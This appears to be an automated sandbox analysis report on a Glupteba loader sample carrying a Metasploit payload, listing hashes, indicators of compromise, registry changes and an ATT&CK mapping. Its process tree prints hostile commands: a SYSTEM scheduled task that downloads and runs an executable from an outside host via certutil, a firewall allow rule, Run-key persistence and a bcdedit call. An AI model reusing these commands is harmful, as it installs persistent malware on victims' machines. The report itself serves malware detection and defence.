glupteba | 02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be

General

Target

02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.exe
Size

3.8MB
MD5

538ea49c4004a2ef3b7c35e876f0184a
SHA1

bcf4a566f62c51bc152c87807066eeb2d016dc40
SHA256

02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be
SHA512

30317e48ab598c7eb9f36db6cc911133ef1ffe72bfe4d177d3716d75d78f47677971450afa4430e4268ebe3a4dd9100444eb3eab82fde07d40749ae0cb5e4167
SSDEEP

98304:FP7FlFImYKIWmYyh1WjDVY/t+Fq4j1ZmmcNBb:d7HFZIUyhc/VY/z2Z6R

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 7 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4572-133-0x0000000001570000-0x0000000001D74000-memory.dmp	family_glupteba
behavioral2/memory/4572-134-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral2/memory/4572-136-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral2/memory/4972-140-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral2/memory/4972-143-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral2/memory/3184-151-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral2/memory/3184-152-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 5008 created 4572	5008	svchost.exe	02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.exe
PID 5008 created 3184	5008	svchost.exe	csrss.exe
PID 5008 created 3184	5008	svchost.exe	csrss.exe
PID 5008 created 3184	5008	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

3184 csrss.exe
2412 patch.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

4720 netsh.exe

pid	process
3184	csrss.exe
2412	patch.exe

pid	process
4720	netsh.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RestlessDust = "\"C:\\Windows\\rss\\csrss.exe\""	02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

548 bcdedit.exe

pid	process
548	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.exe

description	ioc	process
File opened for modification	C:\Windows\rss	02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.exe
File created	C:\Windows\rss\csrss.exe	02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

204 schtasks.exe
176 schtasks.exe

pid	process
204	schtasks.exe
176	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2871 = "Magallanes Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2392 = "Aleutian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2892 = "Sudan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2341 = "Haiti Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2612 = "Bougainville Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1871 = "Russia TZ 7 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2942 = "Sao Tome Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1502 = "Turkey Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2041 = "Eastern Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.exe02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.execsrss.exe

pid	process
4572	02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.exe
4572	02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.exe
4972	02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.exe
4972	02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.exe
3184	csrss.exe
3184	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	4572	02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.exe
Token: SeImpersonatePrivilege	4572	02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.exe
Token: SeTcbPrivilege	5008	svchost.exe
Token: SeTcbPrivilege	5008	svchost.exe
Token: SeBackupPrivilege	5008	svchost.exe
Token: SeRestorePrivilege	5008	svchost.exe
Token: SeBackupPrivilege	5008	svchost.exe
Token: SeRestorePrivilege	5008	svchost.exe
Token: SeBackupPrivilege	5008	svchost.exe
Token: SeRestorePrivilege	5008	svchost.exe
Token: SeBackupPrivilege	5008	svchost.exe
Token: SeRestorePrivilege	5008	svchost.exe
Token: SeSystemEnvironmentPrivilege	3184	csrss.exe
Token: SeBackupPrivilege	5008	svchost.exe
Token: SeRestorePrivilege	5008	svchost.exe
Token: SeBackupPrivilege	5008	svchost.exe
Token: SeRestorePrivilege	5008	svchost.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

svchost.exe02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.execmd.execsrss.exe

description	pid	process	target process
PID 5008 wrote to memory of 4972	5008	svchost.exe	02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.exe
PID 5008 wrote to memory of 4972	5008	svchost.exe	02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.exe
PID 5008 wrote to memory of 4972	5008	svchost.exe	02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.exe
PID 4972 wrote to memory of 5056	4972	02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.exe	cmd.exe
PID 4972 wrote to memory of 5056	4972	02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.exe	cmd.exe
PID 5056 wrote to memory of 4720	5056	cmd.exe	netsh.exe
PID 5056 wrote to memory of 4720	5056	cmd.exe	netsh.exe
PID 4972 wrote to memory of 3184	4972	02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.exe	csrss.exe
PID 4972 wrote to memory of 3184	4972	02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.exe	csrss.exe
PID 4972 wrote to memory of 3184	4972	02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.exe	csrss.exe
PID 5008 wrote to memory of 176	5008	svchost.exe	schtasks.exe
PID 5008 wrote to memory of 176	5008	svchost.exe	schtasks.exe
PID 5008 wrote to memory of 204	5008	svchost.exe	schtasks.exe
PID 5008 wrote to memory of 204	5008	svchost.exe	schtasks.exe
PID 5008 wrote to memory of 2412	5008	svchost.exe	patch.exe
PID 5008 wrote to memory of 2412	5008	svchost.exe	patch.exe
PID 3184 wrote to memory of 548	3184	csrss.exe	bcdedit.exe
PID 3184 wrote to memory of 548	3184	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.exe
"C:\Users\Admin\AppData\Local\Temp\02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4572

C:\Users\Admin\AppData\Local\Temp\02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.exe
"C:\Users\Admin\AppData\Local\Temp\02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4972

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:5056

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:4720

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3184

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:204

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:176

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:2412

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5008

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
538ea49c4004a2ef3b7c35e876f0184a

SHA1
bcf4a566f62c51bc152c87807066eeb2d016dc40

SHA256
02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be

SHA512
30317e48ab598c7eb9f36db6cc911133ef1ffe72bfe4d177d3716d75d78f47677971450afa4430e4268ebe3a4dd9100444eb3eab82fde07d40749ae0cb5e4167

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
538ea49c4004a2ef3b7c35e876f0184a

SHA1
bcf4a566f62c51bc152c87807066eeb2d016dc40

SHA256
02f051b927631c06256e00bf2f74b6aca614b823fbdd720356b336c53df126be

SHA512
30317e48ab598c7eb9f36db6cc911133ef1ffe72bfe4d177d3716d75d78f47677971450afa4430e4268ebe3a4dd9100444eb3eab82fde07d40749ae0cb5e4167

Download Submit
memory/176-146-0x0000000000000000-mapping.dmp

Download
memory/204-147-0x0000000000000000-mapping.dmp

Download
memory/548-150-0x0000000000000000-mapping.dmp

Download
memory/2412-148-0x0000000000000000-mapping.dmp

Download
memory/3184-141-0x0000000000000000-mapping.dmp

Download
memory/3184-152-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/3184-151-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/3184-145-0x0000000001600000-0x00000000019A8000-memory.dmp

Filesize
3.7MB

Download
memory/4572-134-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/4572-132-0x00000000011BF000-0x0000000001567000-memory.dmp

Filesize
3.7MB

Download
memory/4572-133-0x0000000001570000-0x0000000001D74000-memory.dmp

Filesize
8.0MB

Download
memory/4572-136-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/4720-138-0x0000000000000000-mapping.dmp

Download
memory/4972-143-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/4972-135-0x0000000000000000-mapping.dmp

Download
memory/4972-140-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/4972-139-0x00000000011C8000-0x0000000001570000-memory.dmp

Filesize
3.7MB

Download
memory/5056-137-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads